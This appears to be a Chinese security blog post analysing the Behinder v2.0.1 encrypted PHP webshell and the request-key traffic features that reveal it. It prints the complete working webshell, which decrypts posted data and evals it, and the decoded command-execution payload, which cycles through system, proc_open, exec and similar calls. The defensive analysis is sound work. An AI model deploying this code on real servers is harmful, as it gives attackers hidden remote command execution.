首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >冰蝎动态二进制加密WebShell的检测

冰蝎动态二进制加密WebShell的检测

作者头像
用户1423082
发布于 2024-12-31 12:08:21
发布于 2024-12-31 12:08:21
18300
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

中国菜刀等工具管理WebShell的时候会有一些固定的特征,容易被waf或者IPS检测到,最近1年出来了个动态加密的WebShell管理工具,给检测带来了一定的困难,所以写个文章简单解剖一下

注:本文只针对当前的最新版冰蝎(Behinder) v2.0.1,以php webshell为例,其他webshell只是有细微的差别,有兴趣可以自行研究

实验环境

客户端: windows 7 + 冰蝎(Behinder) v2.0.1 服务端:ubuntu 16.04 + apache + php

webshell文件分析

以php为例

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __construct($p) {eval($p."");}}
	@new C($params);
}
?>

其实就两个功能 1、首先存在pass参数的情况(其实这个就是通常所说的一句话木马),就是通过截取随机数的md5的高16位作为密钥,保存在服务器的全局 $_SESSION变量中,同时打印出来,这样客户端接收到就可以用这个密钥进行通信了

2、假如不带参数,就是加密通信的过程。假如php不存在openssl这个extension,就是用base64解码后,使用key进行循环异或解密。而存在openssl就使用AES128进行解密

基于上面分析可以得到通信流程

下面我们看看实际通信流量

数据包分析

通过在服务器上传webshell,客户端连接后通过wireshark抓取数据包

可以看到请求了两次密钥才开始真正的POST通信

接下来的通信,就是AES128加密后的base64密文

所以我们检测只能从请求密钥阶段入手了

通过获取密钥的数据包,我们发现以下特征 1、使用GET方法 2、参数名即木马的密码(这个可以修改,不能作为特征),但是参数值为纯数字可以作为特征,暂时来看应该1到5位数字可以匹配到了,保险一点可以1-8都可以 3、请求中有HEADER字段:Content-type: application/x-www-form-urlencoded 4、响应中会有Content-Length: 16 5、当然响应的body肯定也是16长度,而且字符是16进制的字符,即[0-9a-f]

通信过程实际发送的payload

通过在webshell中加入如下代码,即可获得解密后的payload

获得的如下:(由于base64_decode后面的比较长所以省略了)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
assert|eval(base64_decode('QGVycm9yX3JlcG9ydGluZygwKTsNCg0KZnVuY..............................'));

所以它就是将字符串base64解密之后通过eval执行

解码上面的base64串得到下面真正的代码(下面是以命令执行为例的代码)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
@error_reporting(0);

function getSafeStr($str){
    $s1 = iconv('utf-8','gbk//IGNORE',$str);
    $s0 = iconv('gbk','utf-8//IGNORE',$s1);
    if($s0 == $str){
        return $s0;
    }else{
        return iconv('gbk','utf-8//IGNORE',$str);
    }
}
function main($cmd)
{
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time', 0);
    $result = array();
    $PadtJn = @ini_get('disable_functions');
    if (! empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    $c = $cmd;
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $c = $c . " 2>&1\n";
    }
    $JueQDBH = 'is_callable';
    $Bvce = 'in_array';
    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
        ob_start();
        system($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
        $handle = proc_open($c, array(
            array(
                'pipe',
                'r'
            ),
            array(
                'pipe',
                'w'
            ),
            array(
                'pipe',
                'w'
            )
        ), $pipes);
        $kWJW = NULL;
        while (! feof($pipes[1])) {
            $kWJW .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
        ob_start();
        passthru($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
        $kWJW = shell_exec($c);
    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
        $kWJW = array();
        exec($c, $kWJW);
        $kWJW = join(chr(10), $kWJW) . chr(10);
    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
        $fp = popen($c, 'r');
        $kWJW = NULL;
        if (is_resource($fp)) {
            while (! feof($fp)) {
                $kWJW .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        $kWJW = 0;
        $result["status"] = base64_encode("fail");
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result), $key);
        return;
        
    }
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode(getSafeStr($kWJW));
    echo encrypt(json_encode($result),  $_SESSION['k']);
}

function encrypt($data,$key)
{
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i<strlen($data);$i++) {
    			 $data[$i] = $data[$i]^$key[$i+1&15]; 
    			}
			return $data;
    	}
    else
    	{
    		return openssl_encrypt($data, "AES128", $key);
    	}
}$cmd="whoami";
main($cmd);

可以看到考虑了编码问题,还有一些执行命令的函数被禁用的问题

最后输出结构也是AES128加密的

工具每次只需倒数第二行的$cmd即可更换要执行的命令

总结

攻防是不断对抗升级的,冰蝎虽然通信过程加密,但是请求密钥阶段有很多特征,假如将请求密钥阶段特征抹掉,那么我们防御端会更加难以检查。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-10-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 实验环境
  • webshell文件分析
  • 数据包分析
  • 通信过程实际发送的payload
  • 总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档